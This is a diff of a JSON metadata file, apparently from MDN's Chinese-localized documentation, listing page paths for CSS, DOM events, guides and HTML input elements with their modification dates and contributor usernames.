-27475,59 +24613,6 @@ "youcanping" ] }, - "Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes": { - "modified": "2019-03-23T23:31:49.899Z", - "contributors": [ - "hanliuxin5", - "xgqfrms-GitHub", - "mogewcy", - "fedwatch", - "dongyu_-_", - "zrj570543941", - "TiaossuP", - "xgqfrms", - "WynnChen", - "jokeviner", - "fscholz", - "Huxpro", - "ziyunfei", - "yan", - "nighca", - "Kasuganosora", - "yisi", - "Ribery", - "TimZhao", - "Nightingale" - ] - }, - "Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications": { - "modified": "2019-03-23T22:27:26.278Z", - "contributors": [ - "Anshiii", - "SphinxKnight", - "lon", - "fscholz", - "lazurey" - ] - }, - "Web/CSS/CSS_Flexible_Box_Layout/典型_用例_的_Flexbox": { - "modified": "2020-06-21T23:26:55.230Z", - "contributors": [ - "cell", - "mileyho", - "xzhyj93", - "SkyeYoung", - "devindwan", - "xieminjie" - ] - }, - "Web/CSS/CSS_Flexible_Box_Layout/弹性盒子与其他布局方法的联系": { - "modified": "2020-07-03T00:45:14.544Z", - "contributors": [ - "jin_wang", - "Wulakaka" - ] - }, "Web/CSS/CSS_Flow_Layout": { "modified": "2019-03-18T20:48:13.355Z", "contributors": [ @@ -27565,15 +24650,6 @@ "xunzhonglee" ] }, - "Web/CSS/CSS_Flow_Layout/在Flow中和Flow之外": { - "modified": "2019-08-26T05:12:18.778Z", - "contributors": [ - "xuduotom", - "wython", - "kernellmd", - "feaswcy" - ] - }, "Web/CSS/CSS_Fonts": { "modified": "2019-03-23T22:13:50.386Z", "contributors": [ @@ -27660,12 +24736,6 @@ "comehope" ] }, - "Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes": { - "modified": "2019-03-18T21:44:18.420Z", - "contributors": [ - "comehope" - ] - }, "Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility": { "modified": "2019-09-04T22:47:22.673Z", "contributors": [ @@ -27715,14 +24785,6 @@ "ucev" ] }, - "Web/CSS/CSS_Grid_Layout/利用CSS网格布局实现常用布局": { - "modified": "2019-09-04T22:46:41.081Z", - "contributors": [ - "zhangchen", - "Juvon", - "SphinxKnight" - ] - }, "Web/CSS/CSS_Logical_Properties": { "modified": "2020-10-12T22:45:52.532Z", "contributors": [ @@ -27730,18 +24792,6 @@ "Ende93" ] }, - "Web/CSS/CSS_Logical_Properties/Basic_conceptsjie": { - "modified": "2019-03-28T00:11:41.934Z", - "contributors": [ - "Aamperor" - ] - }, - "Web/CSS/CSS_Logical_Properties/浮动和定位": { - "modified": "2020-12-09T23:54:16.957Z", - "contributors": [ - "bernie-ning" - ] - }, "Web/CSS/CSS_Masking": { "modified": "2019-03-18T21:28:40.615Z", "contributors": [ @@ -27789,12 +24839,6 @@ "wy-ei" ] }, - "Web/CSS/CSS_Selectors/Comparison_with_XPath": { - "modified": "2019-03-18T21:23:06.866Z", - "contributors": [ - "zhanghengxin" - ] - }, "Web/CSS/CSS_Shapes": { "modified": "2019-07-30T22:05:51.456Z", "contributors": [ @@ -27914,12 +24958,6 @@ "feiwen8772" ] }, - "Web/CSS/CSS_分片": { - "modified": "2019-12-03T13:06:14.108Z", - "contributors": [ - "pans9" - ] - }, "Web/CSS/Cascade": { "modified": "2020-04-12T01:15:48.713Z", "contributors": [ @@ -27963,20 +25001,6 @@ "ziyunfei" ] }, - "Web/CSS/Common_CSS_Questions": { - "modified": "2020-07-16T22:25:46.153Z", - "contributors": [ - "Robinx", - "Jack-Q", - "ChenDong", - "DavidGuan", - "zd9027", - "xuxun", - "teoli", - "ziyunfei", - "xcffl" - ] - }, "Web/CSS/Descendant_combinator": { "modified": "2020-11-23T07:09:12.864Z", "contributors": [ @@ -28055,18 +25079,6 @@ "HareInWeed" ] }, - "Web/CSS/Layout_cookbook/卡片": { - "modified": "2020-10-15T22:28:29.154Z", - "contributors": [ - "fanyuedong" - ] - }, - "Web/CSS/Layout_cookbook/媒体对象": { - "modified": "2020-10-15T22:18:51.901Z", - "contributors": [ - "wre232114" - ] - }, "Web/CSS/Layout_mode": { "modified": "2019-03-23T22:27:53.945Z", "contributors": [ @@ -29441,14 +26453,6 @@ "teoli" ] }, - "Web/CSS/cursor/url": { - "modified": "2019-03-23T23:32:59.999Z", - "contributors": [ - "xgqfrms-GitHub", - "teoli", - "ziyunfei" - ] - }, "Web/CSS/custom-ident": { "modified": "2020-02-13T02:01:31.997Z", "contributors": [ @@ -31287,23 +28291,6 @@ "jason-guo" ] }, - "Web/CSS/timing-function": { - "modified": "2020-10-15T21:21:10.131Z", - "contributors": [ - "tzgong", - "WangYiCong", - "woshixixi", - "wqq1992324", - "zhangchen", - "Huahua-Chen", - "Sebastianz", - "jiahui", - "fscholz", - "cungen", - "teoli", - "ziyunfei" - ] - }, "Web/CSS/top": { "modified": "2020-10-15T21:37:12.500Z", "contributors": [ @@ -31626,12 +28613,6 @@ "LiNengNeng" ] }, - "Web/CSS/url": { - "modified": "2019-03-23T22:25:44.664Z", - "contributors": [ - "zhyupe" - ] - }, "Web/CSS/used_value": { "modified": "2019-03-23T23:29:45.690Z", "contributors": [ @@ -31768,20 +28749,6 @@ "sunorry" ] }, - "Web/CSS/word-wrap": { - "modified": "2020-10-15T21:32:14.809Z", - "contributors": [ - "litmonw", - "dlnb526", - "WangWenZhang", - "pengwenbin7", - "xgqfrms", - "SAWSAWSAW", - "fscholz", - "Sebastianz", - "paddingme" - ] - }, "Web/CSS/writing-mode": { "modified": "2020-10-15T22:00:00.250Z", "contributors": [ @@ -31812,38 +28779,6 @@ "TimZhao" ] }, - "Web/CSS/偏移": { - "modified": "2020-10-15T22:07:46.289Z", - "contributors": [ - "congyuandong", - "yichengxian" - ] - }, - "Web/CSS/媒体查询": { - "modified": "2020-10-15T21:56:18.732Z", - "contributors": [ - "RainSlide", - "zjffun", - "Charley-Hsu" - ] - }, - "Web/CSS/文本装饰线厚度(粗细)": { - "modified": "2020-10-15T22:25:42.153Z", - "contributors": [ - "tanapok", - "Zshining" - ] - }, - "Web/CSS/网格-模板-列": { - "modified": "2020-10-15T21:53:37.639Z", - "contributors": [ - "narol", - "RainSlide", - "tsukimiya", - "Xiao4", - "1986slayer" - ] - }, "Web/EXSLT": { "modified": "2019-01-16T21:33:48.141Z", "contributors": [ @@ -31884,18919 +28819,21984 @@ "louisremi" ] }, - "Web/Events/DOMContentLoaded": { - "modified": "2020-10-15T21:21:31.073Z", + "Web/Guide": { + "modified": "2020-09-13T04:05:26.959Z", "contributors": [ - "windybniw", - "shaw1121", - "knightyun", - "1v9", - "wbamberg", - "hhxxhg", - "274659281", - "fscholz", - "Niefee", - "xgqfrms-GitHub", - "BoatGina", - "broven", - "bambooom", - "ZivHe", - "ziyunfei", - "less", - "monjer", - "jtyjty99999" + "Futrime", + "Oliver_Queen", + "RainSlide", + "codekissyoung", + "jiahui", + "yuntian", + "Go7hic", + "Ende93", + "slzll", + "zengAlex", + "lunix01", + "markyun", + "wtb", + "Kasuganosora", + "ethertank" ] }, - "Web/Events/abort": { - "modified": "2019-04-30T14:23:21.618Z", + "Web/Guide/AJAX": { + "modified": "2020-08-06T07:28:20.783Z", "contributors": [ - "wbamberg", - "hhxxhg", - "fscholz", - "xgqfrms-GitHub", - "m2mbob" + "luojia", + "Yang-yibu", + "anchen", + "makaria", + "chunnallu", + "chrisdavidmills", + "renzhengyu", + "MMHGH", + "zjhch123", + "XiaoyaoChen", + "Noly1990" ] }, - "Web/Events/afterprint": { - "modified": "2020-10-15T21:52:37.979Z", + "Web/Guide/AJAX/Getting_Started": { + "modified": "2020-05-09T09:42:30.390Z", "contributors": [ - "weibangtuo", - "fscholz", - "xgqfrms-GitHub" + "Mookiepiece", + "JiLiangLai", + "HCSkatana", + "realchoi", + "Mew_MDN", + "SalmonDaze", + "zazaliu", + "chrisdavidmills", + "shifengchen", + "tangc1", + "RogerShen" ] }, - "Web/Events/afterscriptexecute": { - "modified": "2020-10-15T21:52:39.291Z", + "Web/Guide/API": { + "modified": "2019-03-23T23:17:06.067Z", "contributors": [ "RainSlide", - "fscholz", - "xgqfrms-GitHub" - ] - }, - "Web/Events/animationend": { - "modified": "2019-03-23T22:08:23.322Z", - "contributors": [ - "PaperFlu" - ] - }, - "Web/Events/animationstart": { - "modified": "2019-03-23T23:17:59.744Z", - "contributors": [ - "PaperFlu", - "fscholz", - "ziyunfei", - "shevche24" + "Sheppy" ] }, - "Web/Events/beforeprint": { - "modified": "2020-10-15T21:52:38.969Z", + "Web/Guide/Audio_and_video_delivery": { + "modified": "2020-07-13T02:25:56.180Z", "contributors": [ - "weibangtuo", - "fscholz", - "xgqfrms-GitHub" + "lizzxc", + "chrisdavidmills" ] }, - "Web/Events/beforescriptexecute": { - "modified": "2020-10-15T21:29:36.732Z", + "Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video": { + "modified": "2020-10-27T07:00:04.677Z", "contributors": [ - "RainSlide", - "fscholz", - "ziyunfei", - "LinusYu" + "ICLOUDIRIS", + "FranzList" ] }, - "Web/Events/beforeunload": { - "modified": "2020-10-15T21:34:03.122Z", + "Web/Guide/Audio_and_video_delivery/WebAudio_playbackRate_explained": { + "modified": "2019-03-18T20:51:41.158Z", "contributors": [ - "pe4ch", - "Carllllo", - "MikeLeon23", - "Junezm", - "xgqfrms", - "wbamberg", - "HereChen", - "luhaimin", - "sqchenxiyuan", - "tcatche", - "maxsky", - "Tienyz", - "monjer" + "chrisdavidmills", + "dandanbu3" ] }, - "Web/Events/blur": { - "modified": "2019-03-23T22:23:55.603Z", + "Web/Guide/Audio_and_video_delivery/buffering_seeking_time_ranges": { + "modified": "2019-03-18T20:51:41.383Z", "contributors": [ - "hhxxhg", - "hyh19962008", - "fscholz", - "m2mbob" + "chrisdavidmills", + "zhangqiong" ] }, - "Web/Events/change": { - "modified": "2020-10-15T21:32:01.453Z", + "Web/Guide/CSS/Block_formatting_context": { + "modified": "2020-12-09T10:24:24.921Z", "contributors": [ - "ljdmailbox", - "Clarkkkk", - "LIXiangChen", - "fscholz", - "yangxiaoqiao", + "xmasuhai", + "SDUTWSL", + "Ninglo", + "MinimalistYing", + "shanyuhai123", + "ylc395", + "GlowMonster", + "SageX", + "dylanyg", + "xunzhonglee", + "wavesheep", + "Mookiepiece", + "awayjin", + "dongsuo", + "ju1234", + "maoyumaoxun", + "helloyong", + "Terry.Qiao", + "Akiq2016", + "luoway", + "lanyuechen", + "zerosrat", + "young122849", + "Programmox", + "herofei", "xgqfrms-GitHub", - "azhi09", + "XiongAmao", + "yisibl", + "Ende93", + "zengkan0703", + "TiaossuP", + "kevinfszu", + "FredWe", "ziyunfei", - "charlie" + "haofu", + "xmlovecss", + "teoli", + "yan" ] }, - "Web/Events/compositionend": { - "modified": "2019-04-30T13:56:51.967Z", + "Web/Guide/Events": { + "modified": "2019-03-23T23:20:12.541Z", "contributors": [ - "wbamberg", - "TreeVie", - "leehomeok" + "Imagine-Tom", + "tcatche", + "NoDocCat", + "Tankunpeng", + "Jeremie" ] }, - "Web/Events/compositionstart": { - "modified": "2020-10-15T21:43:38.190Z", + "Web/Guide/Events/Creating_and_triggering_events": { + "modified": "2020-05-27T10:29:01.846Z", "contributors": [ "Carllllo", - "wbamberg", - "superfighter", - "StaicCai", - "laobubu" + "xingleizhao", + "but0n", + "zhangchen", + "LuSitong", + "Iamxiaozhu", + "ucev", + "xgqfrms-GitHub", + "ZhengYinBo", + "carllx", + "timwangdev", + "FredWe", + "ReyCG_sub" ] }, - "Web/Events/compositionupdate": { - "modified": "2019-04-30T14:03:15.654Z", + "Web/Guide/Events/Event_handlers": { + "modified": "2019-03-23T23:20:11.825Z", "contributors": [ - "wbamberg", - "fscholz", - "laobubu" + "tcatche", + "Le-Fu", + "xgqfrms-GitHub", + "ziyunfei", + "Darrel.Hsu" ] }, - "Web/Events/copy": { - "modified": "2019-04-30T13:59:22.378Z", + "Web/Guide/Events/Media_events": { + "modified": "2020-07-02T07:14:48.714Z", "contributors": [ - "wbamberg", - "zhangchen", - "fscholz", - "inottn", - "maicss" + "9aoyang", + "haocity", + "TimRChen", + "maicss", + "GSBL", + "bizbin", + "esterTion", + "SudoKillMe", + "zilong-thu", + "ziyunfei", + "Anonymous" ] }, - "Web/Events/cut": { - "modified": "2019-04-30T14:14:11.414Z", + "Web/Guide/Events/Mutation_events": { + "modified": "2019-03-23T22:51:23.609Z", "contributors": [ - "wbamberg", - "chenyanfei-m" + "Pada", + "peonyriver", + "FredWe" ] }, - "Web/Events/error": { - "modified": "2020-10-15T21:34:06.283Z", + "Web/Guide/Events/Orientation_and_motion_data_explained": { + "modified": "2019-03-23T23:10:07.666Z", "contributors": [ - "pe4ch", - "liuruiqi1993", - "fscholz", - "Daqin", - "monjer" + "fancy" ] }, - "Web/Events/focus": { - "modified": "2019-03-31T11:52:42.546Z", + "Web/Guide/Events/Overview_of_Events_and_Handlers": { + "modified": "2019-03-23T22:51:31.630Z", "contributors": [ - "fscholz", - "VictorDu" + "Song2017", + "FredWe" ] }, - "Web/Events/focusout": { - "modified": "2019-03-23T22:15:46.626Z", + "Web/Guide/Graphics": { + "modified": "2020-12-07T03:47:26.253Z", "contributors": [ - "fscholz", - "liuhe" + "SphinxKnight", + "Vongola-czr", + "Mookiepiece", + "RainSlide", + "zhuangyin", + "ITxiaochong", + "pluwen", + "m4jing", + "jinger7281", + "wth", + "rockywen", + "ryerh", + "wanglingzhi", + "Kasuganosora", + "Hikerpig" ] }, - "Web/Events/icecandidate": { - "modified": "2020-02-07T11:21:30.934Z", + "Web/Guide/HTML/Content_categories": { + "modified": "2019-09-24T00:45:30.074Z", "contributors": [ - "zotille", - "wbamberg", - "BillgoXu" + "Metaloe", + "gnepnaiL-oahZ", + "unclesamnumberone", + "jizhi77", + "ZeroJsus", + "huozicheng", + "AllenYangFly", + "arya0822", + "kevinfszu", + "pantao", + "LuyaoWang", + "FredWe" ] }, - "Web/Events/input": { - "modified": "2020-10-15T21:30:28.054Z", + "Web/Guide/HTML/HTML5": { + "modified": "2019-04-29T21:49:51.078Z", "contributors": [ - "Carllllo", - "Freezer", - "chess99", - "shijistar", - "fscholz", + "vanpipy", + "mike-j", + "GameWang", + "fanerge", + "mfoonirlee", + "Summer1026", "xgqfrms-GitHub", - "laobubu", + "Go7hic", + "panhe-xue", + "ObooChin", + "kevinfszu", + "teoli", + "xgqfrms", + "fghycode", + "jasonworg", + "mengzyou", + "Breezewish", + "Jianming", "ziyunfei", - "lyklykkkkkkk" + "xuxun", + "TimZhao", + "sunnylost", + "xcffl", + "princetoad@gmail.com" ] }, - "Web/Events/load": { - "modified": "2020-10-15T21:36:32.271Z", + "Web/Guide/HTML/HTML5/Constraint_validation": { + "modified": "2020-08-07T06:53:08.941Z", "contributors": [ - "pe4ch", - "Mookiepiece", - "fscholz", - "xgqfrms-GitHub", - "kun.yan" + "Nierifeng", + "shiyi25928988", + "yongchen" ] }, - "Web/Events/loadend": { - "modified": "2019-03-23T22:16:58.948Z", + "Web/Guide/HTML/HTML5/Introduction_to_HTML5": { + "modified": "2019-03-24T00:12:23.341Z", "contributors": [ - "fscholz", - "wudexiang", - "xgqfrms-GitHub" + "eeeeeeeason", + "YueBiYang", + "008", + "guotingchaopr", + "ziyunfei", + "ibeen", + "gaoyanqi", + "leegorous" ] }, - "Web/Events/loadstart": { - "modified": "2019-03-23T22:29:32.098Z", + "Web/Guide/Localizations_and_character_encodings": { + "modified": "2020-05-07T10:52:56.537Z", "contributors": [ - "fscholz", - "faremax", - "Lxxyx" + "Ende93", + "91JOJO", + "xdsnet" ] }, - "Web/Events/message": { - "modified": "2020-10-15T21:57:50.780Z", + "Web/Guide/Mobile": { + "modified": "2019-03-23T23:20:37.061Z", "contributors": [ - "Spikef", - "wbamberg", - "Lim", - "CrystalY", - "Yongest", - "hellowrenfei" + "TaoWei", + "mywentu", + "peterwang1996", + "qry", + "liminjun", + "xbzhs", + "duan.xiaodong", + "wanglong", + "ziyunfei" ] }, - "Web/Events/mousewheel": { - "modified": "2019-03-18T21:09:07.563Z", + "Web/Guide/Parsing_and_serializing_XML": { + "modified": "2019-08-12T08:51:44.801Z", "contributors": [ - "fscholz", - "soYawn" + "RainSlide", + "haaling" ] }, - "Web/Events/pageshow": { - "modified": "2020-05-15T03:40:03.122Z", + "Web/Guide/Performance": { + "modified": "2020-10-09T03:08:14.338Z", "contributors": [ - "BluesVN", - "lalaemls", - "WangShaoyu1", - "fscholz", - "shm" + "kite-js", + "SphinxKnight", + "Imagine-Tom", + "yexk", + "leozhang", + "sunnylost", + "DAVINDAI", + "ziyunfei" ] }, - "Web/Events/paste": { - "modified": "2020-10-15T21:52:19.374Z", + "Web/HTML": { + "modified": "2020-05-18T02:45:10.401Z", "contributors": [ - "qiudongwei", - "wbamberg", - "maicss" + "SphinxKnight", + "MrWangYaNan", + "mkckr0", + "Mengli", + "853419196", + "xmcgcg", + "xq20160912", + "RainSlide", + "fanerge", + "abramsz", + "wangfy", + "fenyu", + "asthman666", + "mao001", + "vizardsLau", + "Planet6174", + "pluwen", + "ChangJun2018", + "robsean", + "ldwformat", + "xixilog", + "wh1msy", + "xx1124961758", + "little-love", + "Shadowhiker", + "Blink", + "ylws", + "liugev6", + "fygyx1", + "pkl6612", + "mona", + "PoppinL", + "ziyunfei", + "lunix01", + "Breezewish", + "xuxun", + "allan_simon", + "TimZhao", + "jessiecaisme", + "Futao.Gao" ] }, - "Web/Events/readystatechange事件": { - "modified": "2020-10-15T21:56:00.168Z", + "Web/HTML/Applying_color": { + "modified": "2020-07-22T05:27:42.410Z", "contributors": [ - "Carllllo", - "RainSlide", - "zhangchen", - "fscholz", - "abc45628" + "WinterCicada", + "Dorence" ] }, - "Web/Events/transitionend": { - "modified": "2019-11-15T05:44:51.899Z", + "Web/HTML/Attributes": { + "modified": "2020-08-28T22:38:07.073Z", "contributors": [ - "joshchiucn", - "fscholz", - "zhuangyin", - "SeriousL", - "dlengks", + "nodeZ", + "fygyx1", + "tys", + "Carllllo", + "MartinsYong", + "enoorez", + "yhs-APerson", + "yuehp", + "PoppinL", "ziyunfei", - "jtyjty99999" + "phoenixLU" ] }, - "Web/Events/unhandledrejection": { - "modified": "2020-10-15T22:03:35.162Z", + "Web/HTML/Block-level_elements": { + "modified": "2019-03-18T20:38:24.578Z", "contributors": [ - "xuquentinyang", - "liangbus", - "RainSlide", - "wbamberg", - "Lie8466", - "zhaoqize" + "kmc947373", + "CraigZeng", + "FredWe", + "Breezewish", + "teoli", + "ziyunfei", + "wdlth" ] }, - "Web/Events/unload": { - "modified": "2020-10-15T21:21:37.553Z", + "Web/HTML/CORS_enabled_image": { + "modified": "2020-05-06T06:27:48.960Z", "contributors": [ - "pe4ch", - "acelibin", - "fscholz", + "oxyg3n", + "guow10", + "PaulHan", + "wYhooo", "xgqfrms-GitHub", + "kmc947373", "ziyunfei", - "jtyjty99999" + "Breezewish" ] }, - "Web/Events/进度条": { - "modified": "2020-10-15T21:49:44.294Z", + "Web/HTML/Element": { + "modified": "2019-12-03T05:56:52.523Z", "contributors": [ + "RainSlide", + "eforegist", + "XiangHongAi", + "mdnjcc", + "hoyt", + "jian86392088", + "VdoG", + "ruilee16", + "jesse0x90", "Ende93", - "957398123", - "fscholz", - "roberthow", - "fengfu" + "Martin.Chow", + "Breezewish", + "ziyunfei", + "gqqnbig", + "jessiecaisme", + "xcffl", + "teoli", + "Cnmahj" ] }, - "Web/Guide": { - "modified": "2020-09-13T04:05:26.959Z", + "Web/HTML/Element/Heading_Elements": { + "modified": "2020-10-15T21:08:04.205Z", "contributors": [ - "Futrime", - "Oliver_Queen", + "gafish", + "imba-tjd", "RainSlide", - "codekissyoung", - "jiahui", - "yuntian", - "Go7hic", + "wizardforcel", + "HashubWang", + "venden", "Ende93", - "slzll", - "zengAlex", - "lunix01", - "markyun", - "wtb", - "Kasuganosora", - "ethertank" + "ziyunfei" ] }, - "Web/Guide/AJAX": { - "modified": "2020-08-06T07:28:20.783Z", + "Web/HTML/Element/Input": { + "modified": "2020-05-27T10:36:01.533Z", "contributors": [ - "luojia", - "Yang-yibu", - "anchen", - "makaria", - "chunnallu", - "chrisdavidmills", - "renzhengyu", - "MMHGH", - "zjhch123", - "XiaoyaoChen", - "Noly1990" + "Carllllo", + "Rem486", + "wxyads", + "853419196", + "JuliusKingsley", + "zhangchen", + "qihuanlu01", + "zaixuzheng", + "yangshang01", + "yuyx91", + "voidzhou", + "hebby", + "jiangseventeen", + "fsx950223", + "Tiaen", + "xgqfrms-GitHub", + "liaoyinglong", + "adam198824", + "liyongleihf2006", + "AutumnFish", + "luobotang", + "gqqnbig", + "Ivan_V", + "zilong-thu", + "Metalooze", + "tiansh", + "ziyunfei", + "rnoka" ] }, - "Web/Guide/AJAX/Getting_Started": { - "modified": "2020-05-09T09:42:30.390Z", + "Web/HTML/Element/Input/button": { + "modified": "2019-03-18T21:28:02.958Z", "contributors": [ - "Mookiepiece", - "JiLiangLai", - "HCSkatana", - "realchoi", - "Mew_MDN", - "SalmonDaze", - "zazaliu", - "chrisdavidmills", - "shifengchen", - "tangc1", - "RogerShen" + "zaixuzheng", + "bear-x" ] }, - "Web/Guide/API": { - "modified": "2019-03-23T23:17:06.067Z", + "Web/HTML/Element/Input/checkbox": { + "modified": "2019-07-01T05:04:47.435Z", "contributors": [ - "RainSlide", - "Sheppy" + "konrumi" ] }, - "Web/Guide/API/DOM": { - "modified": "2019-03-23T23:28:38.723Z", + "Web/HTML/Element/Input/color": { + "modified": "2019-03-23T22:16:45.281Z", "contributors": [ - "ziyunfei", - "paddingme", - "Carrott", - "Kasuganosora", - "Sheppy" + "ecnelises", + "litmonw", + "konrumi" ] }, - "Web/Guide/API/DOM/Storage": { - "modified": "2019-03-24T00:14:59.754Z", + "Web/HTML/Element/Input/date": { + "modified": "2019-03-23T22:01:59.059Z", "contributors": [ - "ziyunfei", - "celinestar", - "hutuxu", - "Sheppy", - "qiumaoyuan", - "aokihu", - "zhengzong.fu", - "Carrie zhxj" + "LeonH", + "WeiGrand", + "tangj1206" ] }, - "Web/Guide/API/DOM/The_structured_clone_algorithm": { - "modified": "2019-03-23T22:19:28.512Z", + "Web/HTML/Element/Input/datetime": { + "modified": "2019-07-13T11:00:17.487Z", + "contributors": [ + "853419196", + "wizardforcel" + ] + }, + "Web/HTML/Element/Input/datetime-local": { + "modified": "2020-10-24T12:05:38.587Z", "contributors": [ + "HermitSun", + "ThaddeusJiang", "zhangchen", - "xgqfrms-GitHub", - "kameii", - "liuqipeng417", - "FredWe" + "kite-js" ] }, - "Web/Guide/Audio_and_video_delivery": { - "modified": "2020-07-13T02:25:56.180Z", + "Web/HTML/Element/Input/email": { + "modified": "2020-10-15T22:07:09.640Z", "contributors": [ - "lizzxc", - "chrisdavidmills" + "Chattille", + "CiaoLee", + "zaixuzheng" ] }, - "Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video": { - "modified": "2020-10-27T07:00:04.677Z", + "Web/HTML/Element/Input/file": { + "modified": "2020-10-15T21:55:53.292Z", "contributors": [ - "ICLOUDIRIS", - "FranzList" + "mkckr0", + "DreamLxq", + "hehe1111", + "alfredchan3", + "zhangchen", + "vippiv", + "AmyFoxFN", + "YinlongCoding", + "chinafootballyu", + "zxc5800", + "wizardforcel", + "ezirmusitua" ] }, - "Web/Guide/Audio_and_video_delivery/WebAudio_playbackRate_explained": { - "modified": "2019-03-18T20:51:41.158Z", + "Web/HTML/Element/Input/hidden": { + "modified": "2020-10-15T22:15:28.120Z", "contributors": [ - "chrisdavidmills", - "dandanbu3" + "guow10", + "RainSlide" ] }, - "Web/Guide/Audio_and_video_delivery/buffering_seeking_time_ranges": { - "modified": "2019-03-18T20:51:41.383Z", + "Web/HTML/Element/Input/image": { + "modified": "2020-10-15T21:49:38.681Z", "contributors": [ - "chrisdavidmills", - "zhangqiong" + "SphinxKnight", + "Henry", + "yu.xcode", + "MissingDreamland" ] }, - "Web/Guide/CSS/Block_formatting_context": { - "modified": "2020-12-09T10:24:24.921Z", + "Web/HTML/Element/Input/number": { + "modified": "2019-03-23T22:10:11.887Z", "contributors": [ - "xmasuhai", - "SDUTWSL", - "Ninglo", - "MinimalistYing", - "shanyuhai123", - "ylc395", - "GlowMonster", - "SageX", - "dylanyg", - "xunzhonglee", - "wavesheep", - "Mookiepiece", - "awayjin", - "dongsuo", - "ju1234", - "maoyumaoxun", - "helloyong", - "Terry.Qiao", - "Akiq2016", - "luoway", - "lanyuechen", - "zerosrat", - "young122849", - "Programmox", - "herofei", - "xgqfrms-GitHub", - "XiongAmao", - "yisibl", + "zxsunrise", + "XXXS", + "hmzll", "Ende93", - "zengkan0703", - "TiaossuP", - "kevinfszu", - "FredWe", - "ziyunfei", - "haofu", - "xmlovecss", - "teoli", - "yan" + "xgqfrms-GitHub" ] }, - "Web/Guide/CSS/CSS_Image_Sprites": { - "modified": "2019-03-23T23:22:22.347Z", + "Web/HTML/Element/Input/password": { + "modified": "2020-10-15T22:06:31.185Z", "contributors": [ - "RainSlide", - "ReyCG_sub", - "bingguo", - "Wenbin" + "byouw", + "zaixuzheng" ] }, - "Web/Guide/CSS/CSS基础": { - "modified": "2019-03-18T20:41:49.035Z", + "Web/HTML/Element/Input/radio": { + "modified": "2020-10-15T21:55:25.436Z", "contributors": [ - "fscholz", - "Go7hic", - "Mrzzchao" + "luohuayouyi12138", + "LeonZou", + "zhangchen", + "wizardforcel" ] }, - "Web/Guide/CSS/Consistent_list_indentation": { - "modified": "2019-03-23T23:22:24.362Z", + "Web/HTML/Element/Input/reset": { + "modified": "2020-10-15T22:25:10.687Z", "contributors": [ - "freshSep", - "Wenbin" + "guow10" ] }, - "Web/Guide/CSS/Counters": { - "modified": "2019-03-23T23:28:24.261Z", + "Web/HTML/Element/Input/search": { + "modified": "2020-10-15T22:25:21.244Z", "contributors": [ - "Ende93", - "Jiang-Xuan", - "Jiasm", - "Nightingale" + "Lin-dreamer", + "guow10" ] }, - "Web/Guide/CSS/Getting_started": { - "modified": "2019-03-23T23:51:15.283Z", + "Web/HTML/Element/Input/submit": { + "modified": "2020-10-15T22:05:11.959Z", "contributors": [ - "Harvesty", - "Ende93", - "ziyunfei", - "teoli", - "Chajn", - "sunnylost", - "playts", - "Ianyang", - "Verruckt", - "Mgjbot", - "Zuzu" + "guow10", + "RainSlide", + "bingxl" ] }, - "Web/Guide/CSS/Getting_started/Boxes": { - "modified": "2019-03-21T02:43:58.945Z", + "Web/HTML/Element/Input/tel": { + "modified": "2019-03-18T21:42:44.923Z", "contributors": [ - "seozed", - "Robinx", - "Harvesty", - "ziyunfei", - "teoli", - "Chajn", - "hxl" + "yuyx91" ] }, - "Web/Guide/CSS/Getting_started/Cascading_and_inheritance": { - "modified": "2019-03-23T23:20:58.387Z", + "Web/HTML/Element/Input/text": { + "modified": "2020-10-15T22:14:33.627Z", "contributors": [ - "HelloFun", - "ziyunfei", - "teoli", - "jedmeng", - "Chajn" + "guow10", + "acuptea" ] }, - "Web/Guide/CSS/Getting_started/Color": { - "modified": "2019-07-23T22:49:50.958Z", + "Web/HTML/Element/Input/time": { + "modified": "2020-10-15T22:19:46.814Z", "contributors": [ - "moposx", - "HelloFun", - "Harvesty", - "jasonzhyan", - "ziyunfei", - "teoli", - "Chajn", - "lilyh" + "kuailekai", + "jason-guo" ] }, - "Web/Guide/CSS/Getting_started/Content": { - "modified": "2020-07-16T22:25:48.610Z", + "Web/HTML/Element/Input/url": { + "modified": "2020-10-15T22:31:25.105Z", "contributors": [ - "Kilimanjaro", - "Robinx", - "Harvesty", - "ziyunfei", - "teoli", - "Chajn", - "aztack" + "yu.xcode" ] }, - "Web/Guide/CSS/Getting_started/How_CSS_works": { - "modified": "2019-03-23T23:23:25.849Z", + "Web/HTML/Element/Input/week": { + "modified": "2020-10-15T22:25:21.176Z", "contributors": [ - "HelloFun", - "ziyunfei", - "teoli", - "Chajn", - "reygreen1" + "pans9" ] }, - "Web/Guide/CSS/Getting_started/JavaScript": { - "modified": "2019-03-23T23:14:19.406Z", + "Web/HTML/Element/Shadow": { + "modified": "2019-03-23T22:10:02.975Z", "contributors": [ - "chengzise", - "Chajn", - "reygreen1" + "wizardforcel" ] }, - "Web/Guide/CSS/Getting_started/Layout": { - "modified": "2019-03-23T23:35:32.514Z", + "Web/HTML/Element/a": { + "modified": "2020-10-15T21:24:07.101Z", "contributors": [ - "Harvesty", - "jasonzhyan", - "shuson", + "gmaso", + "gafish", + "RainSlide", + "JimmieMax", + "JinRong.Yang", + "sunbeyond", + "zhaoqize", + "wizardforcel", + "Dafrok", + "xgqfrms-GitHub", + "simonguo", + "Ende93", + "Yelmor", + "yaoliyc", + "yatace", + "venden", + "FredWe", + "NIGHTEAGLE", "ziyunfei", - "mengzyou", - "teoli", - "Chajn", - "larryzhang" + "TimZhao", + "jessiecaisme" ] }, - "Web/Guide/CSS/Getting_started/Lists": { - "modified": "2019-03-23T23:20:46.740Z", + "Web/HTML/Element/abbr": { + "modified": "2020-10-15T21:24:12.293Z", "contributors": [ - "Harvesty", - "jasonzhyan", - "tolerious", - "mengzyou", + "Astroleander", + "shuihuo", + "greyyyyy", + "RainSlide", + "xianshenglu", + "Ende93", + "xgqfrms-GitHub", + "fscholz", + "xingzhi", "ziyunfei", - "teoli", - "Chajn", - "aztack" + "jessiecaisme" ] }, - "Web/Guide/CSS/Getting_started/Media": { - "modified": "2019-03-23T23:12:04.497Z", + "Web/HTML/Element/acronym": { + "modified": "2019-03-23T22:47:31.151Z", "contributors": [ - "Robinx", - "Harvesty", - "jasonzhyan", - 